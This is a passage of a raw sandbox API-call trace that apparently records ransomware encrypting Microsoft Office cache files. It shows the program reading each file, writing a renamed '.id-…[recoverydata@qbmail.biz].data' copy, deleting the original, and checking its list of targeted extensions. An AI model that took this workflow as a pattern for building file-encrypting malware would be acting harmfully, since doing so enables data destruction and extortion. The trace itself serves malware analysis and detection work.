lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.616] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0078.616] GetLastError () returned 0x0 [0078.616] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x750, lpOverlapped=0x0) returned 1 [0079.588] WriteFile (in: hFile=0x1d0, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x760, lpOverlapped=0x0) returned 1 [0079.591] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.591] WriteFile (in: hFile=0x1d0, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0079.591] SetEndOfFile (hFile=0x1d0) returned 1 [0079.591] CloseHandle (hObject=0x1d0) returned 1 [0079.592] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.593] SetEndOfFile (hFile=0x1fc) returned 1 [0079.595] CloseHandle (hObject=0x1fc) returned 1 [0079.595] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0079.595] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0079.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.596] lstrlenW (lpString=".doc") returned 4 [0079.596] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.596] lstrlenW (lpString=".docx") returned 5 [0079.596] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0079.596] lstrlenW (lpString=".pdf") returned 4 [0079.596] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.596] lstrlenW (lpString=".xls") returned 4 [0079.596] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.596] lstrlenW (lpString=".xlsx") returned 5 [0079.596] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0079.596] lstrlenW (lpString=".ppt") returned 4 [0079.596] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.597] lstrlenW (lpString=".zip") returned 4 [0079.597] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.597] lstrlenW (lpString=".rar") returned 4 [0079.597] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.597] lstrlenW (lpString=".bz2") returned 4 [0079.597] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.597] lstrlenW (lpString=".7z") returned 3 [0079.597] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.597] lstrlenW (lpString=".dbf") returned 4 [0079.597] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.597] lstrlenW (lpString=".1cd") returned 4 [0079.597] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.597] lstrlenW (lpString=".jpg") returned 4 [0079.597] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.598] lstrlenW (lpString=".doc") returned 4 [0079.598] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.598] lstrlenW (lpString=".docx") returned 5 [0079.598] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0079.598] lstrlenW (lpString=".pdf") returned 4 [0079.598] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.598] lstrlenW (lpString=".xls") returned 4 [0079.598] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.598] lstrlenW (lpString=".xlsx") returned 5 [0079.598] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0079.598] lstrlenW (lpString=".ppt") returned 4 [0079.598] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.599] lstrlenW (lpString=".zip") returned 4 [0079.599] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.599] lstrlenW (lpString=".rar") returned 4 [0079.599] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.599] lstrlenW (lpString=".bz2") returned 4 [0079.599] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.599] lstrlenW (lpString=".7z") returned 3 [0079.599] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.599] lstrlenW (lpString=".dbf") returned 4 [0079.599] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.599] lstrlenW (lpString=".1cd") returned 4 [0079.599] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.599] lstrlenW (lpString=".jpg") returned 4 [0079.599] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.600] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0079.600] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0079.600] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0082.206] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=5557) returned 1 [0082.206] CloseHandle (hObject=0x1ac) returned 1 [0082.206] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0082.206] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0082.206] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0082.206] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.206] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.206] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0082.207] GetLastError () returned 0x0 [0082.207] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0082.436] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0082.438] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0082.438] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xee, lpOverlapped=0x0) returned 1 [0082.438] SetEndOfFile (hFile=0x1fc) returned 1 [0082.438] CloseHandle (hObject=0x1fc) returned 1 [0082.439] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.439] SetEndOfFile (hFile=0x1ac) returned 1 [0082.440] CloseHandle (hObject=0x1ac) returned 1 [0082.440] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0082.441] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0082.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0082.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0082.441] lstrlenW (lpString=".doc") returned 4 [0082.441] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.441] lstrlenW (lpString=".docx") returned 5 [0082.442] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0082.442] lstrlenW (lpString=".pdf") returned 4 [0082.442] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.442] lstrlenW (lpString=".xls") returned 4 [0082.442] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.442] lstrlenW (lpString=".xlsx") returned 5 [0082.442] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0082.442] lstrlenW (lpString=".ppt") returned 4 [0082.442] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0082.442] lstrlenW (lpString=".zip") returned 4 [0082.442] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.442] lstrlenW (lpString=".rar") returned 4 [0082.442] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.442] lstrlenW (lpString=".bz2") returned 4 [0082.442] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.442] lstrlenW (lpString=".7z") returned 3 [0082.442] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0082.443] lstrlenW (lpString=".dbf") returned 4 [0082.443] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0082.443] lstrlenW (lpString=".1cd") returned 4 [0082.443] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0082.443] lstrlenW (lpString=".jpg") returned 4 [0082.443] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0082.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0082.443] lstrlenW (lpString=".doc") returned 4 [0082.443] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.443] lstrlenW (lpString=".docx") returned 5 [0082.443] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0082.443] lstrlenW (lpString=".pdf") returned 4 [0082.443] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.443] lstrlenW (lpString=".xls") returned 4 [0082.444] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.444] lstrlenW (lpString=".xlsx") returned 5 [0082.444] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0082.444] lstrlenW (lpString=".ppt") returned 4 [0082.444] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0082.444] lstrlenW (lpString=".zip") returned 4 [0082.444] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.444] lstrlenW (lpString=".rar") returned 4 [0082.444] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.444] lstrlenW (lpString=".bz2") returned 4 [0082.444] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.444] lstrlenW (lpString=".7z") returned 3 [0082.444] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0082.444] lstrlenW (lpString=".dbf") returned 4 [0082.444] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0082.445] lstrlenW (lpString=".1cd") returned 4 [0082.445] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0082.445] lstrlenW (lpString=".jpg") returned 4 [0082.445] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.445] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0082.445] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0082.445] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0082.446] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=819) returned 1 [0082.446] CloseHandle (hObject=0x1ac) returned 1 [0082.446] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0082.446] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0082.446] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0082.446] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.447] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.447] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0082.447] GetLastError () returned 0x0 [0082.447] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x333, lpOverlapped=0x0) returned 1 [0082.454] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x340, lpOverlapped=0x0) returned 1 [0082.455] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0082.455] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0082.456] SetEndOfFile (hFile=0x1fc) returned 1 [0082.456] CloseHandle (hObject=0x1fc) returned 1 [0082.462] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.462] SetEndOfFile (hFile=0x1ac) returned 1 [0082.463] CloseHandle (hObject=0x1ac) returned 1 [0082.463] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0082.464] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0082.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0082.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0082.464] lstrlenW (lpString=".doc") returned 4 [0082.464] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.464] lstrlenW (lpString=".docx") returned 5 [0082.464] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0082.464] lstrlenW (lpString=".pdf") returned 4 [0082.464] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.464] lstrlenW (lpString=".xls") returned 4 [0082.464] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.464] lstrlenW (lpString=".xlsx") returned 5 [0082.465] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0082.465] lstrlenW (lpString=".ppt") returned 4 [0082.465] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0082.465] lstrlenW (lpString=".zip") returned 4 [0082.465] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.465] lstrlenW (lpString=".rar") returned 4 [0082.465] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.465] lstrlenW (lpString=".bz2") returned 4 [0082.465] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.465] lstrlenW (lpString=".7z") returned 3 [0082.465] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0082.465] lstrlenW (lpString=".dbf") returned 4 [0082.465] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0082.465] lstrlenW (lpString=".1cd") returned 4 [0082.465] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0082.465] lstrlenW (lpString=".jpg") returned 4 [0082.465] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0082.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0082.465] lstrlenW (lpString=".doc") returned 4 [0082.465] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.466] lstrlenW (lpString=".docx") returned 5 [0082.466] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0082.466] lstrlenW (lpString=".pdf") returned 4 [0082.466] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.466] lstrlenW (lpString=".xls") returned 4 [0082.466] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.466] lstrlenW (lpString=".xlsx") returned 5 [0082.466] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0082.466] lstrlenW (lpString=".ppt") returned 4 [0082.466] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0082.466] lstrlenW (lpString=".zip") returned 4 [0082.466] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.466] lstrlenW (lpString=".rar") returned 4 [0082.466] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.466] lstrlenW (lpString=".bz2") returned 4 [0082.466] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.466] lstrlenW (lpString=".7z") returned 3 [0082.466] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0082.466] lstrlenW (lpString=".dbf") returned 4 [0082.466] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0082.466] lstrlenW (lpString=".1cd") returned 4 [0082.466] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0082.467] lstrlenW (lpString=".jpg") returned 4 [0082.467] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.467] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0082.467] lstrlenW (lpString="Setup.xml") returned 9 [0082.467] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0082.467] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=2624) returned 1 [0082.467] CloseHandle (hObject=0x1ac) returned 1 [0082.467] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0082.467] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0082.467] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all 